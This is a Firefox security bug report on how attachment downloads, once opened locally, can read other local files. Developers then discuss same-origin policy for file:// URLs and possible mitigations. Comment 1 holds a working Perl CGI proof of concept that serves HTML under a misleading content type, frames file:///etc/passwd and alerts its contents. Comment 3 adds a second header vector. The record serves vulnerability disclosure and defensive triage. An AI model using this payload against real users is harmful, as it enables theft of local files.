369462 - "Content-Disposition: attachment" + text/html allows the downloaded file to read some parts of the user's filesystem

Status: RESOLVED FIXED

(Toolkit :: Downloads API, defect)

Description

[georgi - hopefully not receiving bugspam]

known filenames in external applications on linux and macosx

opening a pdf novell.pdf in document viewer creates the file:
on linux: $HOME/tmp/novell.pdf
on macosx: $HOME/Desktop/novell.pdf

the extension may be arbitrary, so ability to open local files in
firefox allows reading local files if a pdf is opened.

Comment 1

[georgi - hopefully not receiving bugspam]

modification of this allows reading local files at least on ubuntu.

perl script named "att.html" containing html but served:
Content-type: application/x-java-jnlp-file

produces a dialog basically saying: "do you want to open an html file with firefox". if open is chosen, the file is opened from the filesystem, allowing reading local files.

perl script, save in cgi-bin as att.html ; chmod +x att.html

--------------
#!/usr/bin/perl


print "Content-type: application/x-java-jnlp-file\r\n";
#print "Content-Disposition: attachment;filename=aaa\r\n";
print "\r\n";
print "attach\n";
print "<iframe id='i1' src='file:///etc/passwd'></iframe><script>setTimeout('alert(document.all.i1.contentWindow.document.body.innerHTML)',2000)</script>";

Comment 2

[georgi - hopefully not receiving bugspam]

Attachment: perl cgi stealing files

Comment 3

[georgi - hopefully not receiving bugspam]

another exploit vector allowing stealing local files at the cost of innocent dialog asking to start firefox is:
print "Content-Disposition: attachment;filename=aaa.html\r\n";

Comment 4

[georgi - hopefully not receiving bugspam]

[sg:moderate]

Comment 5

[Jesse Ruderman]

Maybe Firefox should put each file downloaded due to content-disposition:attachment into a new subdirectory of the tmp directory.  That way, the downloaded file will only be able to access itself (thanks to the fix for bug 230606).

For files saved manually, it may be trickier to fix this problem without hurting user experience.

Comment 6

[georgi - hopefully not receiving bugspam]

>Maybe Firefox should put each file downloaded due to
>content-disposition:attachment into a new subdirectory of the tmp directory.

this seems nice. the main exploit vector is that content-disposition ask innocent question and may hurt.

>For files saved manually, it may be trickier to fix this problem without
>hurting user experience.

agreed

Comment 7

[Jesse Ruderman]

IIRC, one of the speakers at BlackHat/DEFCON 2009 came very close to discovering this bug.  I don't think we can keep it secret for long, and if it's really still [sg:moderate] with the partial same-origin tightening in bug 230606, we need to do something.

Possible solutions:
1) Use a Downloads folder on all platforms (not Desktop or tmp), so the files exposed are at least limited to other downloads.
2) Randomize the filenames of all (other) downloaded files.
3) Put content-disposition:attachment files in subdirectories of the Downloads rather than directly in Downloads.
4) Tighten the same-origin policy for local files to same-file-only.
5) Tighten the same-origin policy only in "special" directories (Downloads, tmp).

Even once Firefox uses a Downloads directory on all platforms, this bug is still scary.  For example, maybe there's a URL I can send you to that will cause you to download your Gmail address book as a file, with a filename I know.

Demo: http://www.squarefree.com/content-disposition-attachment/read.html

Comment 8

[Jesse Ruderman]

("Attacking Tor at the Application Layer" was the talk that revealed or almost revealed this bug.)

Comment 9

[Justin Dolske [:Dolske]]

[Quickly skimming through security bugs.]

Is this still an issue? For quite a while now we've placed same-origin restrictions on file:///, so that reading things in other directories (or even the same directory) shouldn't be possible.

I'm not sure what, if anything, could be done about the "revealing the path" issue... If you save a file to /usr/bacon/download/foo.html, foo.html is going to be able to see its path as "/usr/bacon/download/". I suppose we could try blocking that, but I'd worry that it could leak in from other areas.

Perhaps this merits a downgrade to sg:low as "just" a privacy issue?

Comment 10

[Jason Duell]

script still reads my /etc/passwd into the HTML if I choose to open it, so yes, still an issue.  Whatever same-origin restrictions are supposed to be on file:// url's aren't stopping it.

bz/biesi/honza: any ideas how to fix this?

Comment 11

[Boris Zbarsky [:bzbarsky]]

> script still reads my /etc/passwd into the HTML if I choose to open it

Reads it in as in loads it in the iframe?  Or as in alerts its contents?

Comment 12

[Boris Zbarsky [:bzbarsky]]

As far as I can tell, it's just the former, as long as "security.fileuri.strict_origin_policy" is set to its default value of "true".  As in, the system is working as expected.  Do you see something different?

Comment 13

[Jason Duell]

reads into inframe, no alert.

Comment 14

[Boris Zbarsky [:bzbarsky]]

That sounds like this bug is fixed as filed; it's no different from web sites being able to frame (but not read) each other.

Comment 15

[Honza Bambas (:mayhemer)]

For me contentWindow.document is not accessible for file in a different directory.  But it is accessible for a file in the same directory or its subdirectory.  So, the restriction to "this file only" doesn't work here.  That could be potentially dangerous.  Tested with the current Aurora build.

In my case the directory (Win7) is:
c:\Users\<user>\AppData\Local\Temp\

If we have a FirefoxDownloads sub dir in it and there sub dir for each file downloaded we mitigate this attack.  However when user downloads the file and opens it from the download location then files in the download folder are still subject to this exploitation.

IE, for example, asks explicitly a user if he wants to allow JavaScript when opening a local file.

Comment 16

[Boris Zbarsky [:bzbarsky]]

> But it is accessible for a file in the same directory or its subdirectory.

Yes, that's what the file:// same-origin policy looks like.  It's not "this file only" at all, and is very well documented.

> IE, for example, asks explicitly a user if he wants to allow JavaScript when opening a
> local file.

Yep.  Maybe we should consider that too.

Alternately, we could put each download in a separate directory in the temp dir...

Comment 17

[Justin Dolske [:Dolske]]

Putting each download into a subdir sounds like really bad UX, so I'd like to avoid that.

I sorta like IE's idea for just opening a prompt to check if running script should be allowed.

How about we close this as-filed, and open a new bug on doing that. (Probably referencing back here.) This bug could probably just be opened up, too.

Comment 18

[Jesse Ruderman]

Putting each download in a subdir would be invisible for files in tmp/.

I'd rather tighten the same-origin policy than prompt for all scripts in local files. Scripts are extremely common and we'd be prompting all the time. (See comment 7 #4 / #5).

Comment 19

[:Gijs (he/him)]

Now that bug 803143 is fixed, I think this is fixed too, Dan?